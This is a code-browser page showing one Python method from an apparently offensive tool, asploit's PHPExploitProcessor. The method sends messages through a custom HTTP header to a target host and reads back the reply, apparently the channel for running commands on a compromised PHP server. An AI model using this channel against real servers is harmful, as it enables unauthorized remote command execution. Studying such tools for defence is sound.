MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__send_message

Method _Base__send_message

src/PHPExploitProcessor.py:70–86  ·  view source on GitHub ↗
(self, message: str)

Source from the content-addressed store, hash-verified

68 @brief See base class for details.
69 """
70 def _Base__send_message(self, message: str):
71 url = f"{self.host}{self.path}"
72 if not self.host.startswith("http"):
73 url = "http://" + url
74 try:
75 response = requests.request(
76 self.method,
77 url,
78 headers={ f"{self.header}": message }
79 )
80 if not response.ok:
81 raise Exception()
82 if not self.header in response.headers:
83 return "Nothing sent back from server."
84 return response.headers[self.header]
85 except:
86 raise CommandException(f"Message was not successfully processed.")
87
88 """
89 @brief Run a command on the target machine, and return its output as a

Callers 3

_Base__versionMethod · 0.95
__evalMethod · 0.95

Calls 1

CommandExceptionClass · 0.85

Tested by

no test coverage detected